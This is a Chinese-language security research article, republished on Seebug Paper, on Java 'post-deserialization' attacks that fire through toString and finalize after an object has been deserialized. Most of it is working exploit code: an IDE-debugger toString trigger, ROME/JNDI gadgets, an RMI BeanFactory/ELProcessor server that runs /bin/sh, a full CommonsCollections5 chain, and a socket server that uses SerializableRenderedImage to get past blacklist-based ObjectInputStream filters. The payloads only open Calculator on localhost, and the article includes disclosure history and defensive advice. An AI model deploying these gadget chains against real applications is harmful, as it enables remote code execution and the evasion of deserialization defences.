作者:Ruilin
原文鏈接:http://rui0.cn/archives/1338

“后反序列化漏洞”指的是在反序列化操作之后可能出現的攻擊面。反序列化漏洞是Java中最經典的一種,所以大家可能的關注點都集中在反序列化過程中的觸發點而忽略了反序列化之后的攻擊面,這里我會分享一些在Java反序列化后的攻擊思路。

后反序列化攻擊調試中的IDE

這里主要是指在一些反序列化功能下,假如在IDE的調試過程中惡意的對象被反序列化出來后可能造成的任意代碼執行。注意了,這里說的不是在反序列化過程中觸發。IDE就是我們常說的集成開發環境,它包含了常見的功能比如編譯,調試等。下面我會主要用JetBrains的IntelliJ IDEA來做例子。當然JetBrains沒有認為這是他們的漏洞,這是可以理解的,因為這更大程度上取決于用戶代碼的編寫。這里我把它當作一個小思路分享給大家。

Variables in debugging

Debugger為我們提供了很多錦上添花的功能,在調試界面中的Variables區域我們其實可以發現一些有意思的問題。

Debugger需要為我們展示各種變量,而這時我們可以清楚的看到其值會顯示到界面上。這是怎么做到的?我突然意識到IDEA內部可能是直接調用了對象的toString方法來顯示。 于是我做了下面的驗證

public class A {
    @Override
    public String toString() {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return super.toString();
    }
}

首先聲明一個A類,重寫它的toString方法并在另一個位置去對它進行實例化。 在實例化之后設置斷點。

果然,IDEA在內部自動調用了它的toString方法,然后我又測試了Eclipse,需要點擊一下變量才會觸發,不過證明了它也是這樣的處理方法。

這樣看來這是一個通用的顯示變量信息的功能處理邏輯,我把它類比為我們常見的反序列化漏洞,比如fastjson的反序列化漏洞是在反序列化過程中自動觸發了get,set方法造成的,所以我們認定它是fastjson的漏洞。Java原生的反序列化漏洞會自動觸發readObject方法,而使用了該方法的應用也都對此進行了黑名單保護,并認定其漏洞性質。 所以我也認為這處的toString方法的自動觸發可能屬于這類IDE Debugger的漏洞,因為它是制造攻擊的入口,所以對此我描述了一下攻擊場景并且構造了幾個可以觸發RCE的gadgets報告給了JetBrains的安全團隊。 雖然最終他們沒有將其定義為IDEA的漏洞,不過我還是認為這是一種安全風險,并且存在攻擊成功的可能。所以也在這里給大家分享出來。

攻擊場景

  1. 當攻擊者向支持反序列化的服務發送惡意數據后,雖然當時不會直接觸發。不過假如出現特殊情況工程師需要復現這條序列化數據進行調試查看應用哪里出了問題時,惡意對象即可在其Debugger中顯示出來,由此觸發了RCE。
  2. 攻擊者給受害者發送了需要反序列化的文件,受害者如果要通過使用IDEA將其反序列化出來同時還處于debug模式時,就會觸發RCE。

上面兩個場景有類似之處,總而言之這種攻擊情況主要會發生在一些反序列化對象之后的調試中,所以我把它稱為“后反序列化漏洞”。

Gadgets

因為尋找調用鏈很費時間,所以我就在網上搜集了一些已經被發現的調用鏈,并從中篩選出了可以利用的攻擊鏈。這里主要用ROME來舉例。

ROME

/**
 * Created by ruilin on 2020/2/15.
 * This gadget is support deserialization,but it's limited to the JDK version.
 */
public class Gadget2 {
    public static Field getField(Class<?> clazz, String fieldName) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if(field != null) {
                field.setAccessible(true);
            } else if(clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }

            return field;
        } catch (NoSuchFieldException var3) {
            if(!clazz.getSuperclass().equals(Object.class)) {
                return getField(clazz.getSuperclass(), fieldName);
            } else {
                throw var3;
            }
        }
    }
    public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");
        getField(BaseRowSet.class, "listeners").set(rs, (Object)null);
        return rs;
    }

    public static void makeSer(String jndi) throws Exception {
        String jndiUrl = jndi;
        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, makeJNDIRowSet(jndiUrl));
        FileOutputStream fos = new FileOutputStream("test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(item);
        oos.flush();
    }


    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        // use https://github.com/welk1n/JNDI-Injection-Exploit this tool to create a JNDI server to attack.
        makeSer("ldap://127.0.0.1:1389/fflz1s");


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();


        System.out.printf("breakpoint here");
    }
}

ROME的ToStringBean類下的toString方法可以調用任意對象的get方法,那么很顯然我們可以通過JNDI注入來完成攻擊,執行任意命令。

不過當我將這個gadget發給JetBrains安全團隊后,他們回復說這是因為使用者沒有用最新的JDK版本(因為JDK新版本中都將com.sun.jndi.ldap.object.trustURLCodebase這類屬性設置為了false)

于是我又參考國外的這篇文章https://www.veracode.com/blog/research/exploiting-jndi-injections-java 通過利用利用本地Class作為Reference Factory來繞過JDK版本限制,這種需要被攻擊者本地有Tomcat相關依賴。

public class BypassServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1999);
        // Exploit with JNDI Reference with local factory Class
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "Ruilin=eval"));
        //expression language to execute 'xxxxxx', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("Ruilin", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /System/Applications/Calculator.app']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println(referenceWrapper.getReference());
    }
}
/**
 * Created by ruilin on 2020/2/15.
 * bypass JDK version and support deserialization,please start BypassServer first
 */
public class Gadget3 {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
        System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");

        System.out.println("java.rmi.server.codebase:"+System.getProperty("java.rmi.server.codebase"));
        System.out.println("java.rmi.server.useCodebaseOnly:"+System.getProperty("java.rmi.server.useCodebaseOnly"));
        System.out.println("com.sun.jndi.rmi.object.trustURLCodebase:"+System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase"));
        System.out.println("com.sun.jndi.cosnaming.object.trustURLCodebase:"+System.getProperty("com.sun.jndi.cosnaming.object.trustURLCodebase"));
        System.out.println("com.sun.jndi.ldap.object.trustURLCodebase:"+System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));

        Gadget2.makeSer("rmi://127.0.0.1:1999/Exploit");

        // start BypassServer first
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();

        System.out.printf("breakpoint here");
    }
}

先運行BypassServer,然后debug Gadget3

防護

最后官方也承認存在這種攻擊方式,不過認為此處不是他們的漏洞,因為這更大程度上取決于用戶代碼的編寫的代碼,確實是這樣,而且利用場景比較少見,因此我把它當作一個思路分享給大家。 后來我發現這類問題其實可以歸結為用戶的配置原因,因為IDEA自身還是提供了是否在此處調用toString的配置。比如我們可以在設置里選擇不調用toString,或者提供指定的可以調用toString的類。但要注意的是默認情況下配置是為全部調用的,所以這是一個風險點,也是一個攻擊的可能性。

后反序列化攻擊Java應用

最開始提到反序列化漏洞是Java中最經典的一種,所以大家可能的關注點都集中在反序列化過程中的觸發點而忽略了反序列化之后的攻擊面。通過上面的案例我們可以發現類似toString方法(還有hashCode方法等)就是在各類應用中反序列化后大概率會調用到的一種方法,因為toString方法輸出時肯定會調用到,尤其是需要拋出異常時的輸出。 因為大部分應用都是增加黑名單限制了反序列化過程中的readObject可能觸發的gadgets,但可能會忽略toString這種每個類都有同時反序列化后會大概率調用到的,雖然它也可以作為一個反序列化中gadgets的一個組成,但這里我們還是主要討論它沒有在黑名單中并且觸發點在反序列化之后的情況。

攻擊場景

之前我也在某分布式項目中發現了這種漏洞,因為還未公開暫時不方便放出細節,主要就是其在反序列化過程中沒有對ROME的ToStringBean類進行黑名單處理,而在反序列化之后的一次拋出異常中輸出這個對象信息時隱式調用了它的toString方法從而導致RCE。 最后的觸發步驟大概是這樣的,在代碼

throw new XxxException("xxx"+Arrays.toString(arguments))

中arguments數組里包含著我們構造的惡意對象,然后依次觸發到object的toString方法

Arrays.toString->String.valueOf

String.valueOf->obj.toString

防護

Java應用中實際解決方法應該還是在反序列化過程中進行過濾,或者在反序列化后對其對象類名做一個黑名單判斷。

延伸

還是想延伸下“后反序列化漏洞”對于Java應用攻擊的思路,上面的例子中我主要展示的是一個可以RCE的鏈。實際中,com.rometools.rome.feed.impl.ToStringBean鏈被加入反序列化中的黑名單概率還是比較大的,因為它也可以成為其它攻擊鏈的一個組成。當然還一些反序列化庫本身是不帶黑名單的,那么造成攻擊的可能性就會更高。在測試支撐反序列化的應用時,使用這種“后反序列化漏洞”的gadgets往往會有意想不到的收獲。 但是因為“后反序列化漏洞”出現場景的特殊性,比如應用要拋出異常,那么是否我們可以去尋找更多的其它sink點的鏈?因為反序列化中觸發gadgets的場景基本都是無法回顯的,所以大部分反序列化庫黑名單很少添加不是RCE的鏈,但是針對“后反序列化”在反序列化后觸發的場景就會更多,比如上面案例中拋出異常的場景正好可以用來配合回顯,所以也就適用于一些無法回顯的漏洞利用鏈,比如任意文件讀取等。

后反序列化最后的攻擊

上面說了那么多,其實主要的點就是toString方法,因為對象的輸出靠的就是它。那么除此以外Java Object中還有哪個是調用概率大并且存在一些攻擊鏈的呢? 答案或許是Object#finalize(), 和toString方法一樣finalize是Object中的方法,當垃圾回收器將要回收對象所占內存之前被調用,即當一個對象被虛擬機宣告死亡時會先調用它的finalize方法,讓此對象處理它生前的最后事情。 這也就是我為什么叫它最后的攻擊,當一個對象被GC判斷死亡后,還有生還的機會,那就是通過重寫finalize,再將對象重新引用到"GC Roots"鏈上。不過實際中finalize的作用一般是用來做最后的資源回收。也就意味著它可能會有一些“破壞”資源的操作被我們控制。 前三個例子會概括常見的破壞行為,因為使用的gadgets沒有實現Serializable接口,所以我們會用Kryo作為序列化反序列化工具,因為Kryo不需要被序列化類實現Serializable接口,同時不像fastjson那樣賦值只能調用set方法。

刪除任意文件

org.jpedal.io.ObjectStore是一個有趣的類,我們來看看它的finalize方法。

protected void finalize() {
 ...
 flush();
 ...
}
protected void flush() {
 ...
/**
 * flush any image data serialized as bytes
 */ Iterator filesTodelete = imagesOnDiskAsBytes.keySet().iterator(); 
    while(filesTodelete.hasNext()) { 
     final Object file = filesTodelete.next();  
      if(file! = null){   
        final File delete_file = new File((String)imagesOnDiskAsBytes.get(file));
        if(delete_file.exists()) {
         delete_file.delete();
    }
   }
 }
 ...
}   

可見它的finalize方法調用了flush方法,接著根據imagesOnDiskAsBytes中包含的文件路徑依次刪除。 我們可以通過以下代碼,強制其finalize來查看效果

關閉任意文件

接著我們來關注java.net.PlainDatagramSocketImpl

protected void finalize() {
 close();
}
/**
 * Close the socket.
  */
protected void close() { 
  if (fd != null) {
   datagramSocketClose();
   …
}

我們可以直接來看一下它的調用棧

它在最后觸發了一個native方法datagramSocketClose

int os::close(int fd) {
 return ::close(fd);
}
int os::socket_close(int fd) {
 return ::close(fd);
}

底層是直接關閉了一個file descriptor,而這個參數就是java.net.DatagramSocketImpl中的一個名為fd的字段。 測試代碼

這種攻擊方式可能會導致用戶的套接字通信,文件讀取或寫入失敗。

內存損壞

一些應用它們在用戶控制的內存地址上調用了free方法,這可能導致內存損壞。 以com.sun.jna.Memory為例

不過該方式可能受JDK版本影響

Bypass Look-Ahead Java Deserialization

利用“后反序列化漏洞”繞過反序列化黑名單,這里指目前大家常見的ObjectInputStream防護反序列化漏洞的方法,也就是繼承并重寫其resolveClass方法來增加黑名單,如:

class BlacklistObjectInputStream extends ObjectInputStream {
    public Set blacklist;

    public BlacklistObjectInputStream(InputStream inputStream, Set bl) throws IOException {
        super(inputStream);
        blacklist = bl;
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        // System.out.println(cls.getName());
        if (blacklist.contains(cls.getName())) {
            throw new InvalidClassException("Unexpected serialized class", cls.getName());
        }
        return super.resolveClass(cls);
    }
}

在“后反序列化漏洞”場景下,對于這種我們可以通過javax.media.jai.remote.SerializableRenderedImage來繞過,該類通常不在默認黑名單內,首先來看看它的finalize方法。

public final class SerializableRenderedImage implements RenderedImage,
Serializable {
 protected void finalize() throws Throwable {
     dispose();
     // Forward to the parent class.
     super.finalize();
 }
 public void dispose() {
     // Rejoin the server thread if using a socket-based server.
     if (isServer) {
      …
     } else {
     // Transmit a message to the server to indicate the child's
    exit.
     closeClient();
    }
 }
 private void closeClient() {
     // Connect to the data server.
     Socket socket = connectToServer();
     // Get the socket output stream and wrap an object
     // output stream around it.
     OutputStream out = null;
     ObjectOutputStream objectOut = null;
     ObjectInputStream objectIn = null;
     try {
         out = socket.getOutputStream();
         objectOut = new ObjectOutputStream(out);
         objectIn = new ObjectInputStream(socket.getInputStream());
         } catch (IOException e) {
            …
        }
        …
     try {
        objectIn.readObject();
     } catch (IOException e) {
        …
     }
}

finalize() > dispose() > closeClient()

假如該類在反序列化后需要進行finalize,那么最后會觸發到closeClient并發起了一次遠程的socket連接,而在此處readObject的ObjectInputStream沒有進行Look-Ahead,由此造成了新的反序列化攻擊。 我們來看一下實際案例,先測試一下通過BlacklistObjectInputStream攔截cc5鏈的情況

public class Test {
    public static void main(String[] args) throws Exception {

        //CC5
        final String[] execArgs = new String[] { "open /System/Applications/Calculator.app" };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        SocketServer.setAccessible(valfield);
        valfield.set(val, entry);

        SocketServer.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain


        FileOutputStream fos = new FileOutputStream("testBlackList.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(val);
        oos.flush();

        Set blacklist = new HashSet() {{
            add("javax.management.BadAttributeValueExpException");
            add("org.apache.commons.collections.keyvalue.TiedMapEntry");
            add("org.apache.commons.collections.functors.ChainedTransformer");
        }};



        BlacklistObjectInputStream ois = new BlacklistObjectInputStream(new FileInputStream("testBlackList.ser"),blacklist);
        ois.readObject();
    }
}

運行后報錯

可以看到攔截成功,接下來我們試下SerializableRenderedImage繞過 首先需要建立一個SocketServer,先運行它

public class SocketServer {
    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void makeSer() throws Exception {
        File imageFile = new File(System.getProperty("user.dir") + "/1.jpg");
        BufferedImage picImage = ImageIO.read(imageFile);
        SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
        getField(SerializableRenderedImage.class, "port").setInt(serializableRenderedImage, 9111);
        FileOutputStream fos = new FileOutputStream("testBypass.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(serializableRenderedImage);
        oos.flush();
    }
    public static void main(String[] args) throws Exception {
        try {

            makeSer();

            ServerSocket server = new ServerSocket(9111);
            while (true) {
                Socket socket = server.accept();
                invoke(socket);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    private static void invoke(final Socket socket) throws IOException {
        new Thread(new Runnable() {
            public void run() {
                ObjectInputStream is = null;
                ObjectOutputStream os = null;
                try {
                    is = new ObjectInputStream(new BufferedInputStream(socket.getInputStream()));
                    os = new ObjectOutputStream(socket.getOutputStream());
                    //CC5
                    final String[] execArgs = new String[] { "open /System/Applications/Calculator.app" };
                    // inert chain for setup
                    final Transformer transformerChain = new ChainedTransformer(
                            new Transformer[]{ new ConstantTransformer(1) });
                    // real chain for after setup
                    final Transformer[] transformers = new Transformer[] {
                            new ConstantTransformer(Runtime.class),
                            new InvokerTransformer("getMethod", new Class[] {
                                    String.class, Class[].class }, new Object[] {
                                    "getRuntime", new Class[0] }),
                            new InvokerTransformer("invoke", new Class[] {
                                    Object.class, Object[].class }, new Object[] {
                                    null, new Object[0] }),
                            new InvokerTransformer("exec",
                                    new Class[] { String.class }, execArgs),
                            new ConstantTransformer(1) };

                    final Map innerMap = new HashMap();

                    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

                    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

                    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
                    Field valfield = val.getClass().getDeclaredField("val");
                    setAccessible(valfield);
                    valfield.set(val, entry);

                    setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain


                    os.writeObject(val);
                    os.flush();
                } catch (IOException ex) {
                } catch(ClassNotFoundException ex) {
                } catch (NoSuchMethodException e) {
                    e.printStackTrace();
                } catch (InstantiationException e) {
                    e.printStackTrace();
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                } catch (InvocationTargetException e) {
                    e.printStackTrace();
                } catch (NoSuchFieldException e) {
                    e.printStackTrace();
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    try {
                        is.close();
                    } catch(Exception ex) {}
                    try {
                        os.close();
                    } catch(Exception ex) {}
                    try {
                        socket.close();
                    } catch(Exception ex) {}
                }
            }
        }).start();
    }
}

它會在被連接后發送cc5鏈對象的序列化數據給客戶端。 接著我們來模擬反序列化操作,看下繞過黑名單的效果

/**
 * Created by ruilin on 2020/2/18.
 * 利用"后反序列化漏洞"繞過反序列化黑名單
 */
class DeserializeBypass {
    private static void callFinalize(Object obj, Class<?> objClass) throws Exception {
        Method finalize = objClass.getDeclaredMethod("finalize", new Class[]{});
        finalize.setAccessible(true);
        finalize.invoke(obj, new Object[]{});
    }

    private static void callFinalize(Object obj) throws Exception {
        Class<?> objClass = obj.getClass();
        callFinalize(obj, objClass);
    }
    public static void main(String[] args) throws Exception {
        // 設置黑名單攔截RCE的鏈
        Set blacklist = new HashSet() {{
            add("javax.management.BadAttributeValueExpException");
            add("org.apache.commons.collections.keyvalue.TiedMapEntry");
            add("org.apache.commons.collections.functors.ChainedTransformer");
        }};



        BlacklistObjectInputStream ois = new BlacklistObjectInputStream(new FileInputStream("testBypass.ser"),blacklist);
        SerializableRenderedImage s = (SerializableRenderedImage) ois.readObject();
        callFinalize(s);
        ois.close();
        System.out.println("test");
    }
}

成功 finalize防護不能采用類似攻擊Java應用在反序列化后攔截的方法,而應該增加黑名單,在反序列化中就將其過濾掉。

總結

本文主要介紹的是“后反序列化漏洞”在Java中的利用思路,“后反序列化漏洞”是我自己新造的一個詞,主要是來概括這種在反序列化之后的對象出現調用鏈攻擊的漏洞,我認為這種漏洞相對少見一些,但確實存在,也有一定風險。 對于Java反序列化后可能觸發的方法如下: finalize() toString() hashCode() equals()

本文中主要展示了toStringfinalize的利用方法,總的來看Java應用中如果使用了反序列化同時其沒過濾類似toStringfinalize的gadgets下是可能出現這類觸發點多一些的,而測試中建議也可以嘗試使用這類gadgets打打看,可能就會有意外收獲。 以上代碼見:https://github.com/Ruil1n/after-deserialization-attack 如果大家有新的思路,疑問或者案例歡迎與我交流討論。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1133/